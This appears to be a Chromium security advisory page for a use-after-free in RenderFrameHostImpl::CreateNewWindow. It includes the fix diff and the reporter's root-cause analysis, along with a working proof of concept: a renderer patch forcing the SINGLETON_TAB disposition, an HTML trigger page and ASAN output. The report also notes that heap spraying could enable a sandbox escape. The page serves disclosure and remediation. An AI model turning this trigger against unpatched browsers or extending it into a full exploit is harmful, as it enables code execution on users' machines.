Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in WindowDialog
DescriptionUse after free in WindowDialog
ComponentWindowDialog
Bug ClassUAF
Tracker487338366
Fix commit3c20517b961d (chromium/src) +32/-21
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Disclosed2026-03-10

Changed Functions

FunctionChangeNotes
if
content/browser/renderer_host/render_frame_host_impl.cc
modified

Files Changed

  • content/browser/renderer_host/render_frame_host_impl.cc
From 3c20517b961d59dea34098ef7e9fd4ca955eb081 Mon Sep 17 00:00:00 2001
From: Stefan Zager <szager@chromium.org>
Date: Thu, 26 Feb 2026 11:02:46 -0800
Subject: [PATCH] Fix CreateNewWindow() to correctly handle a reused tab

Under normal circumstances, a non-null return value from
`ShowCreatedWindow()` will return the WebContents that was created by
the earlier call to `CreateNewWindow()`. However, under certain
circumstances `ShowCreatedWindow()` will return a different pre-existing
WebContents and allow the just-created WebContents to expire, along with
its frame tree node, widget host, and frame host.

This CL ensures that the code doesn't rely on any of the newly-created
objects after the call to `ShowCreatedWindow()`, and instead uses the
normal accessors on WebContents to retrieve them.

Bug: 487338366
Change-Id: I84a5c5cf7f395d708baf71c6a43b39e4099f61ad
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7610581
Reviewed-by: Charlie Reis <creis@chromium.org>
Commit-Queue: Stefan Zager <szager@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1590960}
---

diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc
index f4c26a1..2513348 100644
--- a/content/browser/renderer_host/render_frame_host_impl.cc
+++ b/content/browser/renderer_host/render_frame_host_impl.cc
@@ -10085,8 +10085,8 @@
 
   DCHECK(IsRenderFrameLive());
 
-  // The non-owning pointer |new_frame_tree| is valid in this stack frame since
-  // nothing can delete it until this thread is freed up again.
+  // The non-owning pointer |new_frame_tree| is valid in this stack frame at
+  // least until the call to ShowCreatedWindow() below.
   FrameTree* new_frame_tree =
       delegate_->CreateNewWindow(this, *params, is_new_browsing_instance,
                                  was_consumed, cloned_namespace.get());
@@ -10145,11 +10145,11 @@
   bool wait_for_debugger =
       devtools_instrumentation::ShouldWaitForDebuggerInWindowOpen();
 
-  // NOTE: if the call to ShowCreatedWindow() below returns nullptr, then
+  // NOTE: after the call to ShowCreatedWindow() below it's possible that
   // new_frame_tree, new_main_rfh, and new_main_rwh will all have been destroyed
-  // and point to freed memory! To preserve legacy behavior, we still need to
-  // send a fully-populated reply along with kSuccess, so we construct the reply
-  // here prior to ShowCreatedWindow().
+  // and point to freed memory! We still need to send a fully-populated reply
+  // along with kSuccess, so we construct the reply here prior to
+  // ShowCreatedWindow().
 
   blink::VisualProperties visual_properties;
   // If we can't get an accurate set of VisualProperties after ShowCreatedWindow
@@ -10169,24 +10169,35 @@
 
   new_main_rfh->render_view_host()->RenderViewCreated(new_main_rfh);
 
-  // ShowCreatedWindow will return nullptr if the new WebContents has been
-  // destroyed, as described above (see NOTE).
+  int routing_id = new_rwh->GetRoutingID();
+
+  // These can point to freed memory after the call to ShowCreatedWindow(), even
+  // if that method returns non-null. Null them out here to prevent inadvertent
+  // UAF in the future.
+  new_frame_tree = nullptr;
+  new_main_rfh = nullptr;
+  new_rwh = nullptr;
+
   WebContents* shown_contents = delegate()->ShowCreatedWindow(
-      this, new_rwh->GetRoutingID(), params->disposition, *params->features,
+      this, routing_id, params->disposition, *params->features,
       params->consumes_user_activation);
 
-  if (!shown_contents) {
-    // These point to freed memory, so null them out to prevent inadvertent
-    // UAF in the future (see NOTE above).
-    new_frame_tree = nullptr;
-    new_main_rfh = nullptr;
-    new_rwh = nullptr;
-  } else if (new_main_rfh->GetView()) {
-    // Cannot populate window geometry until after ShowCreatedWindow().
-    reply->widget_screen_rect.emplace(new_main_rfh->GetView()->GetViewBounds());
-    reply->window_screen_rect.emplace(
-        new_main_rfh->GetView()->GetBoundsInRootWindow());
-    reply->visual_properties = new_rwh->GetVisualProperties();
+  // Cannot populate window geometry until after ShowCreatedWindow().
+  if (shown_contents) {
+    if (auto* shown_rfh = shown_contents->GetPrimaryMainFrame()) {
+      if (auto* shown_rwh = static_cast<RenderFrameHostImpl*>(shown_rfh)
+                                ->GetLocalRenderWidgetHost()) {
+        if (auto* shown_rwhv = shown_rwh->GetView()) {
+          reply->widget_screen_rect.emplace(shown_rwhv->GetViewBounds());
+          reply->window_screen_rect.emplace(
+              static_cast<RenderWidgetHostViewBase*>(shown_rwhv)
+                  ->GetBoundsInRootWindow());
+          reply->visual_properties =
+              static_cast<RenderWidgetHostImpl*>(shown_rwh)
+                  ->GetVisualProperties();
+        }
+      }
+    }
   }
 
   std::move(callback).Run(mojom::CreateNewWindowStatus::kSuccess,
Loading diff…

Original Bug Report

reported by je...@gmail.com

Use-after-free in CreateNewWindow via SINGLETON_TAB disposition leads to sandbox escape

Use-after-free in CreateNewWindow via SINGLETON_TAB disposition leads to sandbox escape

Summary

A use-after-free vulnerability exists in RenderFrameHostImpl::CreateNewWindow() in the Chromium browser process. When a compromised renderer sends a CreateNewWindow IPC with the SINGLETON_TAB disposition and a target URL that matches an existing tab, the browser process creates a new WebContents object but then synchronously destroys it in Navigate() while still returning a non-null pointer. The caller subsequently dereferences the freed RenderFrameHostImpl and RenderWidgetHostImpl objects, producing a use-after-free on the browser process UI thread. Because the dangling pointers are local auto* variables rather than raw_ptr<T> fields, MiraclePtr does not protect them, and the crash is confirmed exploitable by ASAN. A compromised renderer can leverage this to escape the sandbox and achieve code execution in the browser process.

Bisect

Introducing Commit: 6f6e57cb3244ac478d5bef46cf60b81f984e83a0

This commit combined the previously separate CreateNewWindow (sync) and ShowCreatedWindow (async) renderer-to-browser IPCs into a single synchronous IPC. The inline call to ShowCreatedWindow() within CreateNewWindow() introduced the assumption that a non-null return from ShowCreatedWindow guarantees the newly created objects are still alive. The feature flag kCombineNewWindowIPCs guarding this code was later removed in commit b02f846752ba3b0e574aee9bb23bab4cb71e202a (2026-02-09, same author, review https://chromium-review.googlesource.com/c/chromium/src/+/7560632), making the vulnerable path unconditional.

Root Cause

When a renderer process calls window.open(), it sends a synchronous content.mojom.FrameHost.CreateNewWindow IPC to the browser process. The handler in RenderFrameHostImpl::CreateNewWindow() delegates to WebContentsImpl::CreateNewWindow() to allocate a new WebContents with its associated FrameTree, RenderFrameHostImpl, and RenderWidgetHostImpl. It then captures raw pointers to these objects:

// content/browser/renderer_host/render_frame_host_impl.cc
RenderFrameHostImpl* new_main_rfh =
    new_frame_tree->root()->current_frame_host();
// ...
auto* new_rwh = new_main_rfh->GetLocalRenderWidgetHost();

After constructing the reply message with initial values from these pointers, the code calls ShowCreatedWindow() to hand the new WebContents to the browser UI layer. There is a comment (labeled NOTE) acknowledging that ShowCreatedWindow may return nullptr if the new WebContents is destroyed during this call, and in that case the dangling pointers are nulled out:

// content/browser/renderer_host/render_frame_host_impl.cc
WebContents* shown_contents = delegate()->ShowCreatedWindow(
    this, new_rwh->GetRoutingID(), params->disposition, *params->features,
    params->consumes_user_activation);

if (!shown_contents) {
    // These point to freed memory, so null them out to prevent inadvertent
    // UAF in the future (see NOTE above).
    new_frame_tree = nullptr;
    new_main_rfh = nullptr;
    new_rwh = nullptr;
} else if (new_main_rfh->GetView()) {
    // Cannot populate window geometry until after ShowCreatedWindow().
    reply->widget_screen_rect.emplace(new_main_rfh->GetView()->GetViewBounds());
    reply->window_screen_rect.emplace(
        new_main_rfh->GetView()->GetBoundsInRootWindow());
    reply->visual_properties = new_rwh->GetVisualProperties();
}

The vulnerability lies in the else if branch. The code assumes that a non-null shown_contents means the newly created WebContents is still alive and new_main_rfh/new_rwh are valid. However, ShowCreatedWindow can return a non-null pointer to a completely different, pre-existing WebContents while the newly created one has already been destroyed.

The destruction path flows through ShowCreatedWindow into the Chrome browser UI layer. WebContentsImpl::ShowCreatedWindow() calls delegate->AddNewContents(), which resolves to Browser::AddNewContents(), then chrome::AddWebContents(). This function constructs a NavigateParams structure with the new WebContents as contents_to_insert and the renderer-supplied disposition, then calls Navigate():

// chrome/browser/ui/browser_tabstrip.cc
NavigateParams params(browser, std::move(new_contents));
params.source_contents = source_contents;
params.url = target_url;
params.disposition = disposition;
// ...
Navigate(&params);
return params.navigated_or_inserted_contents;

Inside Navigate(), the function initializes singleton_index to -1 and then calls GetBrowserAndTabForDisposition() to determine where the navigation should go. For the SINGLETON_TAB disposition, this function calls GetIndexOfExistingTab(), which searches the browser’s tab strip for a tab whose URL matches the navigation target. If a match is found, the function returns that tab’s index:

// chrome/browser/ui/browser_navigator.cc
case WindowOpenDisposition::SINGLETON_TAB: {
    if (params.browser) {
        int index = GetIndexOfExistingTab(params.browser, params);
        if (index >= 0) {
            return {params.browser, index};
        }
    }
    // ...
}

When singleton_index is non-negative, Navigate() sets contents_to_navigate_or_insert to the existing tab’s WebContents. Critically, the code that adds the new WebContents to the tab strip is gated on singleton_index == -1:

// chrome/browser/ui/browser_navigator.cc
std::unique_ptr<tabs::TabModel> tab_to_insert;
if (params->contents_to_insert) {
    tab_to_insert = std::make_unique<tabs::TabModel>(
        std::move(params->contents_to_insert),
        params->browser->GetBrowserForMigrationOnly()->tab_strip_model());
    // ...
}
// ...
if (singleton_index != -1) {
    contents_to_navigate_or_insert =
        params->browser->GetBrowserForMigrationOnly()
            ->tab_strip_model()
            ->GetWebContentsAt(singleton_index);
}
// ...
} else if (singleton_index == -1) {
    // ...
    params->browser->GetBrowserForMigrationOnly()->tab_strip_model()->AddTab(
        std::move(tab_to_insert), ...);
}
// tab_to_insert goes out of scope here and is destroyed if not moved

When singleton_index >= 0, the AddTab call is skipped. The tab_to_insert unique_ptr, which now owns the newly created WebContents, is never moved into the tab strip. When Navigate() returns, tab_to_insert goes out of scope, triggering TabModel::~TabModel() which destroys the WebContents and all its children, including the RenderFrameHostImpl that new_main_rfh points to. Meanwhile, Navigate() sets navigated_or_inserted_contents to the pre-existing tab’s WebContents, and this non-null pointer propagates all the way back through AddWebContents and ShowCreatedWindow to CreateNewWindow.

Back in CreateNewWindow, shown_contents is non-null (pointing to the existing tab), so the code enters the else if branch and dereferences new_main_rfh->GetView(), which accesses freed heap memory. The freed RenderFrameHostImpl is a 5656-byte object that can be replaced with attacker-controlled data via heap spraying, giving the attacker control over the vtable pointer and enabling arbitrary code execution in the browser process.

The affected pointers new_main_rfh and new_rwh are local auto* variables on the stack, not raw_ptr<T> fields. As confirmed by ASAN’s output (“MiraclePtr Status: NOT PROTECTED”), MiraclePtr cannot mitigate this vulnerability.

A compromised renderer can trigger this by setting the disposition field in the CreateNewWindowParams Mojo message to WindowOpenDisposition::SINGLETON_TAB (value 12) and the target_url to a URL that already has an open tab in the browser. This is fully within the capabilities of a compromised renderer since the disposition is just an enum field in the IPC message with no browser-side validation restricting it to specific values. Similarly, an installed PWA with launch_handler.client_mode set to navigate-existing can produce the same effect through the navigation capturing path, where NavigationCapturingProcess::CapturedNavigateExisting() sets singleton_index to a valid tab index.

Reproduce

The proof of concept consists of two components: (1) a renderer patch that overrides the window open disposition to SINGLETON_TAB (simulating a compromised renderer), and (2) a single HTML page that triggers the UAF.

1. Apply renderer patch

Apply the following patch to content/renderer/render_frame_impl.cc:

--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -6792,6 +6792,12 @@
   params->frame_name = frame_name_utf8;
   params->opener_suppressed = features.noopener;
   params->disposition = NavigationPolicyToDisposition(policy);
+  // PoC: compromised renderer forces SINGLETON_TAB disposition
+  if (params->disposition == WindowOpenDisposition::NEW_FOREGROUND_TAB ||
+      params->disposition == WindowOpenDisposition::NEW_BACKGROUND_TAB) {
+    params->disposition = WindowOpenDisposition::SINGLETON_TAB;
+  }
   if (!request.IsNull()) {
     params->target_url = request.Url();

Rebuild:

autoninja -C out/asan-release chrome

2. Start HTTP server

In the directory containing poc_createwindow_singleton_uaf.html:

python3 -m http.server 8888

3. Launch Chrome and visit PoC URL

ASAN_OPTIONS=detect_odr_violation=0 ./out/asan-release/chrome \
  --no-sandbox --disable-gpu \
  --user-data-dir=/tmp/poc-singleton-uaf \
  http://localhost:8888/poc_createwindow_singleton_uaf.html

The page automatically opens a duplicate tab (#dup), then the duplicate fires window.open() back to the original URL. With the SINGLETON_TAB disposition override, the browser finds the existing tab (singleton_index >= 0), destroys the newly created WebContents, and returns the existing one as non-null. CreateNewWindow then dereferences the freed new_main_rfh, triggering the ASAN heap-use-after-free.

PoC HTML (poc_createwindow_singleton_uaf.html)

<!DOCTYPE html>
<html><head><meta charset="utf-8"><title>PoC</title></head>
<body>
<script>
if (!location.hash) {
  // First load: open a duplicate of ourselves, marked with #dup
  window.open(location.href + '#dup', '_blank');
} else {
  // We are the duplicate (#dup). After a delay, fire window.open() back to
  // the original URL (without hash) to trigger singleton matching -> UAF.
  setTimeout(function() {
    var target = location.href.replace('#dup', '');
    for (var i = 0; i < 5; i++) {
      setTimeout(function() { window.open(target, '_blank'); }, i * 300);
    }
  }, 2000);
}
</script>
</body></html>

ASAN output:

=================================================================
==1757573==ERROR: AddressSanitizer: heap-use-after-free on address 0x7dd4f3337900 at pc 0x7fb565b4f261 bp 0x7ffc94dffb70 sp 0x7ffc94dffb68
READ of size 8 at 0x7dd4f3337900 thread T0 (chrome)
    #0 0x7fb565b4f260 in content::RenderFrameHostImpl::CreateNewWindow(mojo::StructPtr<content::mojom::CreateNewWindowParams>, base::OnceCallback<void (content::mojom::CreateNewWindowStatus, mojo::StructPtr<content::mojom::CreateNewWindowReply>)>) content/browser/renderer_host/render_frame_host_impl.cc:10181:28
    #1 0x7fb56348ebf2 in content::mojom::FrameHostStubDispatch::AcceptWithResponder(content::mojom::FrameHost*, mojo::Message*, std::__Cr::unique_ptr<mojo::MessageReceiverWithStatus, std::__Cr::default_delete<mojo::MessageReceiverWithStatus>>) gen/content/common/frame.mojom.cc:6279:13
    #2 0x7fb57257f29e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1036:56
    #3 0x7fb5725965b0 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:51:24
    #4 0x7fb572584ba4 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
    #5 0x7fb55dfe538f in IPC::ChannelAssociatedGroupController::AcceptSyncMessage(unsigned int, unsigned int, IPC::(anonymous namespace)::ScopedUrgentMessageNotification) ipc/ipc_mojo_bootstrap.cc:1242:24
    #6 0x7fb55dfe7577 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #7 0x7fb571960c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #8 0x7fb5719e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
    #9 0x7fb5719e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
    #10 0x7fb571bb6a97 in base::MessagePumpGlib::HandleDispatch() base/message_loop/message_pump_glib.cc:736:46
    #11 0x7fb571bba242 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:355:43
    #12 0x7fb52c91ad3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)

0x7dd4f3337900 is located 0 bytes inside of 5656-byte region [0x7dd4f3337900,0x7dd4f3338f18)
freed by thread T0 (chrome) here:
    #0 0x556a70db840d in operator delete(void*) (/home/test/chromium/src/out/asan-release/chrome+0x682b40d) (BuildId: 9182ae9d429f4c1b)
    #1 0x7fb565c1e873 in content::RenderFrameHostManager::~RenderFrameHostManager() gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
    #2 0x7fb5657c73d2 in content::FrameTreeNode::~FrameTreeNode() content/browser/renderer_host/frame_tree_node.cc:312:1
    #3 0x7fb5657af6b9 in content::FrameTree::~FrameTree() content/browser/renderer_host/frame_tree.cc:230:1
    #4 0x7fb5663660d1 in content::WebContentsImpl::~WebContentsImpl() content/browser/web_contents/web_contents_impl.cc:1496:1
    #5 0x7fb566368e6d in content::WebContentsImpl::~WebContentsImpl() content/browser/web_contents/web_contents_impl.cc:1376:37
    #6 0x556a75df5586 in tabs::TabModel::~TabModel() gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
    #7 0x556a7d296aa5 in Navigate(NavigateParams*) gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
    #8 0x556a7d2a670f in chrome::AddWebContents(Browser*, content::WebContents*, std::__Cr::unique_ptr<content::WebContents, std::__Cr::default_delete<content::WebContents>>, GURL const&, WindowOpenDisposition, blink::mojom::WindowFeatures const&, NavigateParams::WindowAction, bool) chrome/browser/ui/browser_tabstrip.cc:109:3
    #9 0x556a7d213ccd in Browser::AddNewContents(content::WebContents*, std::__Cr::unique_ptr<content::WebContents, std::__Cr::default_delete<content::WebContents>>, GURL const&, WindowOpenDisposition, blink::mojom::WindowFeatures const&, bool, bool*) chrome/browser/ui/browser.cc:2117:10
    #10 0x556a7d213e67 in non-virtual thunk to Browser::AddNewContents(...) chrome/browser/ui/browser.cc
    #11 0x7fb5663aeda1 in content::WebContentsImpl::ShowCreatedWindow(content::RenderFrameHostImpl*, int, WindowOpenDisposition, blink::mojom::WindowFeatures const&, bool) content/browser/web_contents/web_contents_impl.cc:5694:20
    #12 0x7fb565b4de98 in content::RenderFrameHostImpl::CreateNewWindow(mojo::StructPtr<content::mojom::CreateNewWindowParams>, base::OnceCallback<void (content::mojom::CreateNewWindowStatus, mojo::StructPtr<content::mojom::CreateNewWindowReply>)>) content/browser/renderer_host/render_frame_host_impl.cc:10168:45
    #13 0x7fb56348ebf2 in content::mojom::FrameHostStubDispatch::AcceptWithResponder(content::mojom::FrameHost*, mojo::Message*, std::__Cr::unique_ptr<mojo::MessageReceiverWithStatus, std::__Cr::default_delete<mojo::MessageReceiverWithStatus>>) gen/content/common/frame.mojom.cc:6279:13
    #14 0x7fb57257f29e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1036:56
    #15 0x7fb5725965b0 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:51:24
    #16 0x7fb572584ba4 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
    #17 0x7fb55dfe538f in IPC::ChannelAssociatedGroupController::AcceptSyncMessage(unsigned int, unsigned int, IPC::(anonymous namespace)::ScopedUrgentMessageNotification) ipc/ipc_mojo_bootstrap.cc:1242:24
    #18 0x7fb55dfe7577 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #19 0x7fb571960c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #20 0x7fb5719e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
    #21 0x7fb5719e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
    #22 0x7fb571bb6a97 in base::MessagePumpGlib::HandleDispatch() base/message_loop/message_pump_glib.cc:736:46
    #23 0x7fb571bba242 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:355:43
    #24 0x7fb52c91ad3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)

previously allocated by thread T0 (chrome) here:
    #0 0x556a70db7bcd in operator new(unsigned long) (/home/test/chromium/src/out/asan-release/chrome+0x682abcd) (BuildId: 9182ae9d429f4c1b)
    #1 0x7fb565ade0d6 in content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, mojo::PendingAssociatedRemote<content::mojom::Frame>, base::TokenType<blink::LocalFrameTokenTypeMarker> const&, base::TokenType<blink::DocumentTokenTypeMarker> const&, base::UnguessableToken, bool, content::RenderFrameHostImpl::LifecycleStateImpl, scoped_refptr<content::BrowsingContextState>) content/public/browser/render_frame_host.h:148:3
    #2 0x7fb565c21543 in content::RenderFrameHostManager::CreateRenderFrameHost(content::RenderFrameHostManager::CreateFrameCase, content::SiteInstanceImpl*, int, mojo::PendingAssociatedRemote<content::mojom::Frame>, base::TokenType<blink::LocalFrameTokenTypeMarker> const&, base::TokenType<blink::DocumentTokenTypeMarker> const&, base::UnguessableToken, bool, scoped_refptr<content::BrowsingContextState>, content::ProcessAllocationContext const&) content/browser/renderer_host/render_frame_host_manager.cc:4279:10
    #3 0x7fb565c20426 in content::RenderFrameHostManager::InitRoot(content::SiteInstanceImpl*, bool, blink::FramePolicy, std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, base::UnguessableToken const&) content/browser/renderer_host/render_frame_host_manager.cc:717:22
    #4 0x7fb5657b8687 in content::FrameTree::Init(content::SiteInstanceImpl*, bool, std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::RenderFrameHostImpl*, blink::FramePolicy const&, base::UnguessableToken const&) content/browser/renderer_host/frame_tree.cc:963:27
    #5 0x7fb566395f8b in content::WebContentsImpl::Init(content::WebContents::CreateParams const&, blink::FramePolicy) content/browser/web_contents/web_contents_impl.cc:4178:23
    #6 0x7fb566359ae1 in content::WebContentsImpl::CreateWithOpener(content::WebContents::CreateParams const&, content::RenderFrameHostImpl*) content/browser/web_contents/web_contents_impl.cc:1577:17
    #7 0x7fb5663aa709 in content::WebContentsImpl::CreateNewWindow(content::RenderFrameHostImpl*, content::mojom::CreateNewWindowParams const&, bool, bool, content::SessionStorageNamespace*) content/browser/web_contents/web_contents_impl.cc:786:10
    #8 0x7fb565b4ce3a in content::RenderFrameHostImpl::CreateNewWindow(mojo::StructPtr<content::mojom::CreateNewWindowParams>, base::OnceCallback<void (content::mojom::CreateNewWindowStatus, mojo::StructPtr<content::mojom::CreateNewWindowReply>)>) content/browser/renderer_host/render_frame_host_impl.cc:10083:18
    #9 0x7fb56348ebf2 in content::mojom::FrameHostStubDispatch::AcceptWithResponder(content::mojom::FrameHost*, mojo::Message*, std::__Cr::unique_ptr<mojo::MessageReceiverWithStatus, std::__Cr::default_delete<mojo::MessageReceiverWithStatus>>) gen/content/common/frame.mojom.cc:6279:13
    #10 0x7fb57257f29e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1036:56
    #11 0x7fb5725965b0 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:51:24
    #12 0x7fb572584ba4 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
    #13 0x7fb55dfe538f in IPC::ChannelAssociatedGroupController::AcceptSyncMessage(unsigned int, unsigned int, IPC::(anonymous namespace)::ScopedUrgentMessageNotification) ipc/ipc_mojo_bootstrap.cc:1242:24
    #14 0x7fb55dfe7577 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #15 0x7fb571960c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #16 0x7fb5719e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
    #17 0x7fb5719e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
    #18 0x7fb571bb6a97 in base::MessagePumpGlib::HandleDispatch() base/message_loop/message_pump_glib.cc:736:46
    #19 0x7fb571bba242 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:355:43
    #20 0x7fb52c91ad3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)

SUMMARY: AddressSanitizer: heap-use-after-free content/browser/renderer_host/render_frame_host_impl.cc:10181:28 in content::RenderFrameHostImpl::CreateNewWindow(mojo::StructPtr<content::mojom::CreateNewWindowParams>, base::OnceCallback<void (content::mojom::CreateNewWindowStatus, mojo::StructPtr<content::mojom::CreateNewWindowReply>)>)
Shadow bytes around the buggy address:
  0x7dd4f3337680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7dd4f3337700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7dd4f3337780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7dd4f3337800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7dd4f3337880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa f7 fa
=>0x7dd4f3337900:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x7dd4f3337980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x7dd4f3337a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x7dd4f3337a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x7dd4f3337b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x7dd4f3337b80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

==1757573==ADDITIONAL INFO

==1757573==Note: Please include this section with the ASan report.
Task trace:
    #0 0x7fb55dfdada2 in IPC::ChannelAssociatedGroupController::Accept(mojo::Message*) ipc/ipc_mojo_bootstrap.cc:1118:15
    #1 0x7fb57215688a in mojo::SimpleWatcher::Context::Notify(unsigned int, MojoHandleSignalsState, unsigned int) mojo/public/cpp/system/simple_watcher.cc:103:13


MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.

==1757573==END OF ADDITIONAL INFO

==1757573==ABORTING

References

Credit

c6eed09fc8b174b0f3eebedcceb1e792

View on issue tracker